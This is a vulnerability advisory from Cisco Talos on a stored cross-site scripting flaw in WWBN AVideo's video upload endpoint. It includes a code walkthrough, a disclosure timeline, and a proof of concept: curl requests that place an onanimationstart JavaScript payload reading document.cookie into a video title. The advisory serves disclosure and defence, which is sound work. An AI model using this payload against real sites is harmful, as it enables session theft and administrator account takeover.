Talos Vulnerability Report

TALOS-2022-1540

WWBN AVideo videoAddNew cross-site scripting (XSS) vulnerability

AUGUST 16, 2022

CVE NUMBER

CVE-2022-28712

SUMMARY

A cross-site scripting (xss) vulnerability exists in the videoAddNew functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get an authenticated user to send a crafted HTTP request to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

WWBN AVideo 11.6
WWBN AVideo dev master commit 3f7c0364

PRODUCT URLS

AVideo - https://github.com/WWBN/AVideo

CVSSV3 SCORE

9.0 - CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)

DETAILS

AVideo is a web application, mostly written in PHP, that can be used to create an audio/video sharing website. It allows users to import videos from various sources, encode and share them in various ways. Users can sign up to the website in order to share videos, while viewers have anonymous access to the publicly-available contents. The platform provides plugins for features like live streaming, skins, YouTube uploads and more.

By making a POST request to `objects/videoAddNew.json.php` it's possible to add a new video in AVideo. This request can be performed by an authenticated user with video upload permissions.

```
require_once 'video.php';

// [1]
if (!empty($_POST['id'])) {
    if (!Video::canEdit($_POST['id']) && !Permissions::canModerateVideos()) {
        die('{"error":"2 ' . __("Permission denied") . '"}');
    }
}

...

$obj = new Video($_POST['title'], "", @$_POST['id']); // [2]

TimeLogEnd(__FILE__, __LINE__);

$obj->setClean_Title($_POST['clean_title']);
$audioLinks = ['mp3', 'ogg'];
$videoLinks = ['mp4', 'webm', 'm3u8'];
TimeLogEnd(__FILE__, __LINE__);
// [3]
if (!empty($_POST['videoLink'])) {
    //var_dump($config->getEncoderURL()."getLinkInfo/".
base64_encode($_POST['videoLink']));exit;
    $path_parts = pathinfo($_POST['videoLink']);
    $extension = strtolower(@$path_parts["extension"]);
    // [4]
    if (empty($_POST['id']) && !(in_array($extension, $audioLinks) ||
in_array($extension, $videoLinks))) {
        $getLinkInfo = $config->getEncoderURL() . "getLinkInfo/" .
base64_encode($_POST['videoLink']);
        _error_log('videoAddNew: '.$getLinkInfo);
        $info = url_get_contents($getLinkInfo, '', 180, true);
        $infoObj = _json_decode($info);
        $paths = Video::getNewVideoFilename();
        $filename = $paths['filename'];
        $filename = $obj->setFilename($filename);
        if (is_object($infoObj)) {
            $obj->setTitle($infoObj->title);     // [5]
            $obj->setClean_title($infoObj->title);
            $obj->setDuration($infoObj->duration);
            $obj->setDescription($infoObj->description);
            file_put_contents($global['systemRootPath'] . "videos/{$filename}.jpg",
base64_decode($infoObj->thumbs64));
        }
        $_POST['videoLinkType'] = "embed";
    }
    // [4]
    elseif (empty($_POST['id'])) {
        $paths = Video::getNewVideoFilename();
        $filename = $paths['filename'];
        $filename = $obj->setFilename($filename);
        $obj->setTitle($path_parts["filename"]);   // [5]
        $obj->setClean_title($path_parts["filename"]);
        $obj->setDuration("");
        $obj->setDescription(@$_POST['description']);
        $_POST['videoLinkType'] = "linkVideo";
    }
    $obj->setVideoLink($_POST['videoLink']);
```

```
...
// [6]
$resp = $obj->save(true);
```

At [1], the code checks if the user making the request has permission to edit the video supplied via `id` (unless empty).
At [2], a new `Video` object is created, whose class is defined in `video.php`.
At [3], the code allows the user to send a `videoLink` parameter, containing a link to a video that will be downloaded by AVideo and stored as the new video being added.
At [4], the code takes different paths depending on whether the `videoLink` contains a known extension. This path doesn't matter for the purposes of this advisory; it's enough to note that both paths set a title [5] that is not controlled by the parameters sent in the current request.
Finally, the new video object is saved into the database [6].

Note that if paths at [4] are not taken, `setTitle` is not called, so the title set at [2] is the one that will be used for the video. In order to not take the paths at [4], it's enough to edit a video by calling this same page again and supplying a video `id`. This way the two conditions at [4] are not satisfied, since `$_POST['id']` is not empty, allowing a user to change the video password at will.

Let's check what happens when creating the `Video` object at [2]:

```
class Video {
...
public function __construct($title = "", $filename = "", $id = 0) {
    global $global;
    $this->rotation = 0;
    $this->zoom = 1;
    if (!empty($id)) {
        $this->load($id);
    }
    if (!empty($title)) {
        $this->setTitle($title); // [7]
    }
    if (!empty($filename)) {
        $this->filename = $filename;
    }
}
```

We see we'll end up calling `setTitle` [7]:

```
public function setTitle($title) {
    if ($title === "Video automatically booked" && !empty($this->title)) {
        return false;
    }
    $new_title = strip_tags($title);
    if (strlen($new_title) > 190) {
        $new_title = substr($new_title, 0, 187) . '...';
    }
    AVideoPlugin::onVideoSetTitle($this->id, $this->title, $new_title);
    $this->title = $new_title;
}
```

Besides string truncation and a plugin hook, there's no explicit sanitization of the video title.

`getTitle` is used as interface to retrieve the video object title, which simply returns the title property:

```
public function getTitle() {
    return $this->title;
}
```

The lack of sanitization does not represent a security issue at this stage. However, there's no sanitization in a later stage, when the videos are presented on the page. The issue is in the function `getVideosListItem` in `objects/video.php`:

```
    public static function getVideosListItem($videos_id, $divID = '', $style = '') {
        ...
        $objGallery = AVideoPlugin::getObjectData("Gallery");
        $program = AVideoPlugin::loadPluginIfEnabled('PlayLists');
        $template = $global['systemRootPath'] . 'view/videosListItem.html';
        $templateContent = file_get_contents($template);
        $value = Video::getVideoLight($videos_id);     // [8]
        $link = Video::getLink($value['id'], $value['clean_title'], "", $get);
        if (!empty($_GET['page']) && $_GET['page'] > 1) {
            $link = addQueryStringParameter($link, 'page', $_GET['page']);
        }

        $title = $value['title']; // [9]
        ...
        // [10]
        if (!empty($imgGif)) {
            $imgGifHTML = '<img src="' . getCDN() . 'view/img/loading-gif.png" data-
src="' . $imgGif .
                          '" style="position: absolute; top: 0; display: none;"
alt="' . $title .
                          '" id="thumbsGIF' . $videos_id . '" class="thumbsGIF img-
responsive" height="130" />';
        }
        ...
        $search = [
            ...
            '{imgGifHTML}',
            '{timeHTML}',
            '{loggedUserHTML}',
            ...
        ];

        $replace = [
            ...
            $imgGifHTML,
            $timeHTML,
            $loggedUserHTML,
            ...
        ];
        $btnHTML = @str_replace($search,$replace,$templateContent); // [11]
        return $btnHTML;
    }
```

At [8] the requested video is fetched from the database, via the function `getVideoLight`:

```
    public static function getVideoLight($id) {
        global $global, $config;
        $id = intval($id);
        $sql = "SELECT * FROM videos WHERE id = ? LIMIT 1";
        $res = sqlDAL::readSql($sql, 'i', [$id], true);
        $video = sqlDAL::fetchAssoc($res);
        sqlDAL::close($res);
        return $video;
    }
```

At [9] the title is extracted from the row, meaning it's unsanitized. At [10] the `$title` is inserted direcly in an HTML string, which is eventually inserted in a bigger template [11] and returned.

Any view that is using `getVideosListItem` will trigger the stored XSS, which includes the following files:

- `view/modeYoutubeBottomRight.php`
- `view/videoViewsInfo.php`
- `view/videosList.php`

Any other page including the pages above will clearly also trigger the XSS. The simplest way to trigger it is to visit the page for the video that contains the XSS in its title. For example, when requesting `https://192.168.1.200/video/123`, where `123` is the video id, AVideo internally redirects the request to `https://192.168.1.200/view/index.php?v=123`. Eventually, `view/videosList.php` is included in the page.

This issue can be used by an attacker, in the worst case, to take over an administrator account. Note that while this requires user interaction, it is very easy to trigger because the video list items are printed via several different pages.

Exploit Proof of Concept

First, an attacker can create a video by importing a video (`https://192.168.1.200/video/48`) already present in the platform.

```
curl -k --cookie '84b11d010cced71edffee7aa62c4eda0=uot19510578r10nohk91j0sunb' --
data-raw 'public=true&only_for_paid=false&videoLink=https://192.168.1.200/video/48'
'https://192.168.1.200/objects/videoAddNew.json.php'

{
    "status": true,
    "msg": "",
    "info": "...",
    "videos_id": 135,
    "video":
    {
        "id": 135,
        "title": "sample",
        "clean_title": "sample",
        "description": "",
        ...
        "videoLink": "https://192.168.1.200/video/48",
        "next_videos_id": null,
        "isSuggested": 0,
        ...
    },
    "clearFirstPageCache": true
}
```

A video has been created with id 135. The title is taken from the video with id 48; however, it can be changed with an XSS payload:

```
curl -k --cookie '84b11d010cced71edffee7aa62c4eda0=uot19510578r10nohk91j0sunb' --
data-raw 'id=133&title=%22+style=%22animation-
name:bounce%22+onanimationstart=%22alert(document.cookie)%22'
'https://192.168.1.200/objects/videoAddNew.json.php'
```

Because the video list can be hidden, the Javascript might not trigger. An attacker can bypass this by using the `onanimationstart` event, to force the browser to execute any Javascript code on page load.

At this point the XSS has been stored, and it can be triggered by any user that visits the page `https://192.168.1.200/video/135`.

VENDOR RESPONSE

Vendor confirms issues fixed on July 7th 2022

TIMELINE

2022-06-29 - Initial Vendor Contact

2022-07-05 - Vendor Disclosure

2022-07-07 - Vendor Patch Release

2022-08-16 - Public Release

CREDIT

Discovered by Claudio Bozzato of Cisco Talos.

VULNERABILITY REPORTS PREVIOUS REPORT NEXT REPORT

TALOS-2022-1539 TALOS-2022-1545